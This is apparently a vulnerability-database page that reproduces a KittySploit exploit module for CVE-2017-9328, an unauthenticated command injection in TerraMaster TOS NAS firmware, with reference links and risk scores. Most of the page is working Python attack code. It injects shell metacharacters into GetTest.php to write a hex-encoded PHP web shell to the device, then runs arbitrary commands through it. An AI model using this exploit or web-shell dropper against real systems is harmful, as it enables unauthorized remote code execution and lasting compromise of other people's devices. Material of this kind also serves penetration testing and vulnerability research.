Lucene search
+L

TerraMaster TOS - GetTest.php RCE (CVE-2017-9328)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated command injection in TerraMaster TOS /include/ajax/GetTest.php enables RCE.

Related
Refs
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
TerraMaster TOS shell metacharacter injection vulnerability
18 Sep 201700:00
–cnvd
cve
CVE
CVE-2017-9328
15 Sep 201720:00
–cve
cvelist
Cvelist
CVE-2017-9328
15 Sep 201720:00
–cvelist
euvd
EUVD
EUVD-2017-18263
7 Oct 202500:30
–euvd
kittysploit
KittySploit
TerraMaster TOS - GetTest.php RCE Detection (CVE-2017-9328)
10 Aug 202606:19
–kittysploit
nvd
NVD
CVE-2017-9328
15 Sep 201720:29
–nvd
openvas
OpenVAS
TerraMaster TOS < 3.0.34 RCE Vulnerability - Active Check
19 Sep 201700:00
–openvas
osv
OSV
CVE-2017-9328
15 Sep 201720:29
–osv
prion
Prion
Design/Logic Flaw
15 Sep 201720:29
–prion
ptsecurity
Positive Technologies
PT-2017-18845
15 Sep 201700:00
–ptsecurity
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TerraMaster TOS GetTest.php RCE (CVE-2017-9328) — opens execute session."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'TerraMaster TOS - GetTest.php RCE (CVE-2017-9328)',
        'description': (
            'Exploits command injection in TerraMaster /include/ajax/GetTest.php to drop a '
            'PHP shell and open an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-9328'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2017-9328'],
        'tags': ['terramaster', 'nas', 'rce', 'unauth', 'cve-2017-9328'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2017_9328_detect'],
            },
        },
    }

    _shell = None

    def _ensure_shell(self) -> bool:
        if self._shell:
            return True
        fname = 'ks_' + self.random_text(8) + '.php'
        # <?php echo shell_exec($_GET["c"]); ?>
        php = '<?php echo shell_exec($_GET["c"]); ?>'
        hexed = ''.join(f'\\x{ord(c):02x}' for c in php) + '\\n'
        data = (
            'dev=b1bebe&testtype=start;\\"'
            f'$(echo -en "{hexed}" > {fname});'
        )
        r = self.http_request(
            method='POST',
            path='/include/ajax/GetTest.php',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return False
        self._shell = f'/include/ajax/{fname}'
        return True

    def execute(self, cmd: str) -> str:
        if not self._ensure_shell():
            return ''
        from urllib.parse import quote
        path = f'{self._shell}?c={quote(str(cmd), safe="")}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2017-9328 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No id output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
8.8High risk
Vulners AI Score8.8
CVSS 39.8
CVSS 210
EPSS0.07375
0